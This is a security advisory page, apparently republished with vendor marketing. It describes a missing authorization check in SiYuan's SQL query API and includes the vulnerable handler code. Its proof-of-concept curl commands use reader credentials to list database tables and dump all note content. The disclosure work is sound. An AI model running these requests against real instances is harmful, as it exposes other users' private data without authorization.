GHSA-jqwg-75qf-vmf9
SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
Details
The vulnerable endpoint is in kernel/api/sql.go
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
PoC
Start SiYuan with the publish service turned on
# List out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# Extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious performance issues
this is an auth bypass, the sql feature is for power users but even readers can use it
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for GHSA-jqwg-75qf-vmf9 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jqwg-75qf-vmf9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jqwg-75qf-vmf9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jqwg-75qf-vmf9 in your dependencies?
O3 detects GHSA-jqwg-75qf-vmf9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.